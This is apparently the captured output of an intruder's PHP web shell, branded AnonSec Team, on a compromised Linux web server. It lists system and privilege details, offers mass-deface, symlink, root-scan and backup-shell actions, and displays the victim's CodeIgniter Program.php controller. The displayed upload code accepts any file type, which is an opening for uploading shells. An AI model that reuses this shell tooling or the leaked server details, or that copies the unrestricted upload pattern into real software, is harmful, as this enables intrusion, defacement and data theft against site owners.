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/  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/controllers/Program.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Program extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');

		if (!$this->session->userdata('logged_in')) {
        	redirect('/');
        }
 
	}
	public function index()
	{
		$page = "program";
		$page2 = "Program";

		$form = "edit";
		$user_id = $this->session->userdata('id');

		$list= $this->Modglobal->find('donasi', array('tipe' => 'program', 'status' =>'0', 'delete' =>'0'),'urut desc');
		$list = $list->result_array();

		$status = array (
			'0' => 'Published', 
			'1' => 'Draft',
			'2' => 'Not Publish'
		);

		$data = array(
			'content' => 'program/list',
			'list' => $list,
			'status' => $status,
			//'publish' => $publish,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
		);
		$this->load->view('layouts/base', $data);
	}
	public function add()
	{
		$page = "program";
		$page2 = "program";

		$form = "add";
		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$urut_query= $this->Modglobal->find('donasi', array('tipe' => 'program', 'status' =>'0', 'delete' =>'0'));
		$urut = $urut_query->num_rows();

        $urut = $urut+1;

		$status = array (
			'0' => 'Published', 
			'1' => 'Draft',
			'2' => 'Not Publish'
		);

		$data = array(
			'content' => 'donasi/form_program',
			'status' => $status,
			//'publish' => $publish,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'lang' => $lang,
			'urut' => $urut,
		);
		$this->load->view('layouts/base', $data);
	}
	public function add_pro()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/donasi/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
		if($_FILES["img2"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img2 = strtolower(str_replace_url($_FILES["img2"]['name']));
			$img2 = 'img2-'.str_replace($findArr, $replaceArr, $img2);
			$config['file_name'] = $img2;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img2');
	    }
	    else{
	    	$img2 = $this->input->post('img2a');
	    }

		if($_FILES["img3"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img3 = strtolower(str_replace_url($_FILES["img3"]['name']));
			$img3 = 'img3-'.str_replace($findArr, $replaceArr, $img3);
			$config['file_name'] = $img3;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img3');
	    }
	    else{
	    	$img3 = $this->input->post('img3a');
	    }

		if($_FILES["img4"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img4 = strtolower(str_replace_url($_FILES["img4"]['name']));
			$img4 = 'img4-'.str_replace($findArr, $replaceArr, $img4);
			$config['file_name'] = $img4;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img4');
	    }
	    else{
	    	$img4 = $this->input->post('img4a');
	    }

		$data = array(
            'img' => $img,
			'img2' => $img2,
			'img3' => $img3,
			'img4' => $img4,
            'status' => $this->input->post('status'),
			'urut' => $this->input->post('urut'),
			'create_date' => date("Y/m/d - h:i:sa"),
			'tipe' => 'program'
        );
		$this->Modglobal->insert('donasi', $data);

		$new_id = $this->db->insert_id();

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$url_slug = strtolower($this->input->post('title')[$i]);
			$url_slug = str_replace_url_input($url_slug);		

			$data = array(
				'title' => $this->input->post('title')[$i],
				'short_des' => $this->input->post('short_des')[$i],
				'content' => $this->input->post('content')[$i],
				'title_des' => $this->input->post('title_des')[$i],
				'lang' => $this->input->post('lang')[$i],
				'donasi_id' => $new_id,
				'url_slug' => $url_slug,
			);
			$this->Modglobal->insert('donasi_lang', $data);
		}

		redirect('program');
	}
	public function page()
	{
		$page = "program";
		$page2 = "program";

		$form = "edit";
		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

		$query= $this->Modglobal->find('donasi', array('id' => $id));
		$detail = $query->row_array();

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$urut_query= $this->Modglobal->find('donasi', array('tipe' => 'program', 'status' =>'0', 'delete' =>'0'));
		$urut = $urut_query->num_rows();

		$status = array (
			'0' => 'Published', 
			'1' => 'Draft',
			'2' => 'Not Publish'
		);

		$data = array(
			'content' => 'program/form_program',
			'detail' => $detail,
			'status' => $status,
			//'publish' => $publish,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'lang' => $lang,
			'urut' => $urut,
		);
		$this->load->view('layouts/base', $data);
	}
	public function program_update()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/donasi/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
		if($_FILES["img2"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img2 = strtolower(str_replace_url($_FILES["img2"]['name']));
			$img2 = 'img2-'.str_replace($findArr, $replaceArr, $img2);
			$config['file_name'] = $img2;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img2');
	    }
	    else{
	    	$img2 = $this->input->post('img2a');
	    }

		if($_FILES["img3"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img3 = strtolower(str_replace_url($_FILES["img3"]['name']));
			$img3 = 'img3-'.str_replace($findArr, $replaceArr, $img3);
			$config['file_name'] = $img3;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img3');
	    }
	    else{
	    	$img3 = $this->input->post('img3a');
	    }

		if($_FILES["img4"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img4 = strtolower(str_replace_url($_FILES["img4"]['name']));
			$img4 = 'img4-'.str_replace($findArr, $replaceArr, $img4);
			$config['file_name'] = $img4;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img4');
	    }
	    else{
	    	$img4 = $this->input->post('img4a');
	    }

		$query= $this->Modglobal->find('donasi', array('id' => $this->input->post('id')));
		$detail = $query->row_array();


		if($this->input->post('publish') == "1"){
			$publish_date = date("Y/m/d - h:i:sa");
		}
		else {
			$publish_date = $detail['publish_date'];
		}

		$data = array(
            'img' => $img,
			'img2' => $img2,
			'img3' => $img3,
			'img4' => $img4,
            'status' => $this->input->post('status'),
            'edit_by' => date("Y/m/d - h:i:sa"),
			'urut' => $this->input->post('urut'),
			'publish_date' => $publish_date,
            'edit_by' => $this->session->userdata('id'),
        );
        $where = array(
    		'id' => $this->input->post('id'),
        );
        $this->Modglobal->update('donasi', $data, $where);

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$url_slug = strtolower($this->input->post('url_slug')[$i]);
			$url_slug = str_replace_url_input($url_slug);

			//echo $url_slug.'asdfas';

			$data = array(
				'title' => $this->input->post('title')[$i],
				'short_des' => $this->input->post('short_des')[$i],
				'content' => $this->input->post('content')[$i],
				'title_des' => $this->input->post('title_des')[$i],
				'url_slug' => $url_slug,
			);
			$where = array(
				'lang' => $this->input->post('lang')[$i],
				'donasi_id' => $this->input->post('id'),
			);
			$this->Modglobal->update('donasi_lang', $data,$where);
		}

		redirect('program');
	}

    public function statik()
	{
		$page = "program";
		$id = $this->uri->segment(3);
		$id = str_replace('%20',' ',$id);

		$page_query = $this->Modglobal->find('statik', array('id' => $id));
		$detail = $page_query->row_array();

		//echo $detail['id'].'-'.$id;

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$data = array(
			'content' => 'program/page_statik',
			'page' => $page,
			'lang' => $lang,
			'detail' => $detail,
		);
		$this->load->view('layouts/base', $data);
	}
	public function statik_update()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/img/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('img2');
	    }

		$data = array(
            'img' => $img,
        );
        $where = array(
    		'id' => $this->input->post('id'),
        );
        $this->Modglobal->update('statik', $data, $where);

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$data = array(
				'title' => $this->input->post('title')[$i],
				'sub_title' => $this->input->post('sub_title')[$i],
			);
			$where = array(
				'id' => $this->input->post('id_lang')[$i]
			);
			$this->Modglobal->update('statik_lang', $data,$where);
		}

		$this->session->set_flashdata('success', 'berhasil');
		redirect('program/statik/'.$this->input->post('id'));
	}
	
}



Anon7 - 2022
AnonSec Team